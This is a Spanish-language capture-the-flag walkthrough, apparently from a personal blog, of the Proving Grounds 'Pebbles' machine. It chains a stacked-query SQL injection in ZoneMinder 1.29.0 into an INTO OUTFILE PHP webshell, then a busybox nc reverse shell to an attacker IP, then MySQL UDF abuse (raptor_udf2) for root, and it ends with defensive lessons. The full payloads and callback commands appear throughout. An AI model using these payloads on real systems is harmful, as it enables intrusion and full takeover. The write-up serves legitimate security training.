the_open_door
café
ESEN

Pebbles

Proving Grounds PracticeFácilLinux192.168.175.52

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#zoneminder#sql-injection#stacked-queries#into-outfile#webshell#mysql-udf#raptor-udf2#privilege-escalation#command-injection
TL;DR. Pebbles esconde un ZoneMinder 1.29.0 en el puerto 3305. Esa versión arrastra una inyección SQL con stacked queries en el parámetro limit: la confirmamos a ciegas con SLEEP() y la convertimos en RCE escribiendo una webshell con INTO OUTFILE bajo el docroot. La shell entra como www-data, pero el fichero que escribió MySQL es de root: el demonio corre como root. Eso abre la puerta a un abuso de UDF de MySQL (raptor_udf2), que ejecuta comandos en ese contexto y nos da una shell de root.

Reconocimiento

Escaneo inicial

El TTL del ping nos orienta sobre el sistema operativo antes de escanear.

ping -c 1 192.168.175.52
64 bytes from 192.168.175.52: icmp_seq=1 ttl=61 time=29.4 ms

TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. Escaneamos todos los puertos y luego identificamos servicios.

sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.175.52
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
3305/tcp open  http
8080/tcp open  http
nmap -p21,22,80,3305,8080 -sCV 192.168.175.52 -oN targetedScan
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Pebbles
3305/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
8080/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-favicon: Apache Tomcat
|_http-title: Tomcat

Cuatro servicios web y un SSH. El 80 sirve una página llamada Pebbles, el 8080 es un Tomcat y el 3305 muestra la página por defecto de Apache, que casi siempre esconde algo bajo una ruta. Lo enumeramos.

HTTP - TCP 3305

La portada del 3305 es la default de Apache, así que fuzzeamos directorios.

gobuster dir -u http://192.168.175.52:3305/ -w directory-list-2.3-medium.txt -t 200 -b 404
/javascript           (Status: 301)
/zm                   (Status: 301)
/server-status        (Status: 403)

/zm es el directorio típico de ZoneMinder, un sistema de videovigilancia. La consola se carga sin pedir autenticación y, mejor aún, revela la versión exacta en la cabecera.

Consola de ZoneMinder en el puerto 3305 mostrando 'ZoneMinder Console - Running - default v1.29.0'

ZoneMinder Console - Running - default v1.29.0. Con producto y versión, buscamos fallos conocidos.

searchsploit 'ZoneMinder'
Zoneminder 1.29/1.30 - Cross-Site Scripting / SQL Injection / Session  | php/webapps/41239.txt

El aviso 41239 documenta varias vulnerabilidades de la 1.29/1.30. La que nos interesa es una inyección SQL en el parámetro limit de index.php, del tipo stacked queries (permite encadenar sentencias).

2)SQL Injection
Parameter: limit (POST)
    Type: stacked queries
    Payload: view=request&request=log&task=query&limit=100;(SELECT * FROM (SELECT(SLEEP(5)))OQkj)#...

Shell como www-data

ZoneMinder 1.29.0: la inyección SQL

Antes de confiar en el aviso, confirmamos la inyección a ciegas con el truco del tiempo: si meter un SLEEP(5) retrasa la respuesta cinco segundos y SLEEP(10) la retrasa diez, la base de datos está ejecutando lo que le inyectamos.

time curl -X POST 'http://192.168.175.52:3305/zm/index.php' --data 'view=request&request=log&task=query&limit=100;(SELECT * FROM (SELECT(SLEEP(5)))OQkj)#&minTime=1466674406.084434'
time curl -X POST 'http://192.168.175.52:3305/zm/index.php' --data 'view=request&request=log&task=query&limit=100;(SELECT * FROM (SELECT(SLEEP(10)))OQkj)#&minTime=1466674406.084434'

Dos peticiones curl con SLEEP(5) y SLEEP(10): los tiempos real son 5.19s y 10.19s

real    5.19s     (SLEEP(5))
real    10.19s    (SLEEP(10))

Los tiempos cuadran al segundo: la inyección es real y, al ser stacked, podemos lanzar sentencias propias, no solo leer datos.

De SQLi a RCE: INTO OUTFILE

Con stacked queries y, como veremos, una cuenta de MySQL con privilegio FILE, el siguiente salto es escribir un fichero en disco. Si lo dejamos caer bajo el docroot de Apache, será una webshell PHP. Eso es exactamente lo que hace SELECT ... INTO OUTFILE.

view=request&request=log&task=query&limit=100;SELECT "<?php system($_GET['cmd']);?>" INTO OUTFILE "/var/www/html/webshell.php"#&minTime=1466674406.084434

El servidor responde 200 OK. La webshell ya está en su sitio.

Petición en Burp con el INTO OUTFILE escribiendo webshell.php y respuesta 200 OK

Ponemos un listener y pedimos a la webshell que nos devuelva una shell. El payload usa busybox nc contra el puerto 80, un puerto que la máquina sí deja salir.

Antes de disparar la shell, dejamos un nc a la escucha:

nc -nlvp 80
http://192.168.175.52:3305/webshell.php?cmd=busybox nc 192.168.45.239 80 -e sh

La conexión vuelve como www-data.

Webshell ejecutando id (uid=33 www-data) y reverse shell recibida en el nc a la escucha en el 80

Shell como root

Una pista: el fichero lo escribió root

Antes de buscar la escalada por las vías habituales, una observación lo resuelve casi todo. Miramos quién es el dueño de la webshell que acabamos de escribir.

ls -l webshell.php

ls -l webshell.php muestra que el fichero escrito por INTO OUTFILE pertenece a root:root

-rw-rw-rw- 1 root root 30 Dec 31 11:24 webshell.php

La hemos escrito nosotros desde la inyección, pero el dueño es root. El motivo es simple: INTO OUTFILE crea el fichero con el usuario del proceso de MySQL, y ese proceso corre como root. Lo confirmamos con ps.

ps aux | grep mysqld

Salida de ps aux mostrando /usr/sbin/mysqld ejecutándose como root

root  1113  ... /usr/sbin/mysqld

Que el motor de base de datos corra como root es la clave: si conseguimos que MySQL ejecute un comando, ese comando será root. Esa es la definición del abuso de UDF. Comprobamos la versión del servidor.

mysql --version

mysql --version desde la webshell como www-data devuelve Ver 14.14 Distrib 5.7.30 para Linux x86_64

www-data@pebbles:/var/www/html$ mysql --version
mysql  Ver 14.14 Distrib 5.7.30, for Linux (x86_64) using  EditLine wrapper

La versión importa por dos motivos: fija la arquitectura (x86_64) con la que hay que compilar el .so del UDF, y confirma que es una rama 5.7, donde el directorio de plugins sigue siendo escribible por el propio demonio, que es justo lo que necesita el ataque.

MySQL UDF: raptor_udf2

El abuso de funciones definidas por el usuario consiste en cargar una librería compartida que registra una función SQL (do_system) capaz de ejecutar comandos del sistema. El clásico es raptor_udf2, de exploit-db.

searchsploit -m linux/local/1518.c
gcc -g -c 1518.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so 1518.o -lc
echo 'busybox nc 192.168.45.239 80 -e sh' > bash.sh
python3 -m http.server 80

Desde la shell de www-data descargamos la librería y el script al directorio temporal.

wget http://192.168.45.239/raptor_udf2.so -O /tmp/raptor_udf2.so
wget http://192.168.45.239/bash.sh -O /tmp/bash.sh

Ahora, a través de la misma inyección SQL (que habla con el MySQL de root), creamos la función do_system: metemos el .so en una tabla, lo volcamos al directorio de plugins de MySQL con dumpfile y lo registramos como función.

view=request&request=log&task=query&limit=100;create table foo(line blob); insert into foo values(load_file('/tmp/raptor_udf2.so')); select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so'; create function do_system returns integer soname 'raptor_udf2.so';

Petición en Burp creando la tabla foo, volcando raptor_udf2.so al directorio plugin y creando la función do_system

Con nc a la escucha en el 80 de nuevo para el callback de root:

nc -nlvp 80

Con la función registrada, solo queda invocarla para que MySQL (root) ejecute nuestro bash.sh.

view=request&request=log&task=query&limit=100;select do_system('/bin/bash /tmp/bash.sh');#&minTime=1466674406.084434

La conexión vuelve, esta vez como root. (La máquina se redesplegó entre sesiones y reapareció con la IP 192.168.147.52; la técnica es idéntica.)

Petición do_system disparando bash.sh y reverse shell recibida con whoami devolviendo root

proof.txt

whoami && cat /root/proof.txt && hostname

whoami root, proof.txt y hostname pebbles desde la shell de root

root
8d3a511fe06b43c9d36e9c7daec09ff5
pebbles

Cadena de ataque

nmap  ──>  3305/tcp: /zm  ──>  ZoneMinder 1.29.0
                                     │  SQLi stacked queries en 'limit' (confirmada con SLEEP)
                                     v
                          SELECT ... INTO OUTFILE  ──>  webshell.php en /var/www/html
                                     │  ?cmd=busybox nc ... 80 -e sh
                                     v
                              shell como www-data
                                     │  webshell.php es de root  ──>  mysqld corre como root
                                     v
                  MySQL UDF (raptor_udf2 -> do_system)  ──>  do_system('/bin/bash bash.sh')
                                     v
                               shell como root  ──>  proof.txt

Lecciones aprendidas

  • Una stacked SQLi con privilegio FILE es ejecución de código. INTO OUTFILE deja caer una webshell bajo el docroot y convierte la lectura de datos en RCE. La defensa es consultas parametrizadas y una cuenta de base de datos sin FILE ni secure_file_priv abierto.
  • El dueño de un fichero que escribe un servicio delata con qué usuario corre. La webshell salió como root: eso, no un linpeas (repo), fue lo que señaló que MySQL era el camino a root.
  • Nunca ejecutes el motor de base de datos como root. Con mysqld como root, un abuso de UDF entrega el sistema entero. Corriendo como mysql con mínimo privilegio, el mismo fallo se queda en una shell de servicio.
  • Confirma la vulnerabilidad antes de explotarla. El SLEEP(5)/SLEEP(10) validó la inyección a ciegas con coste casi nulo, antes de montar el resto de la cadena.
Cheatsheet de comandos 9 comandos

Repaso rápido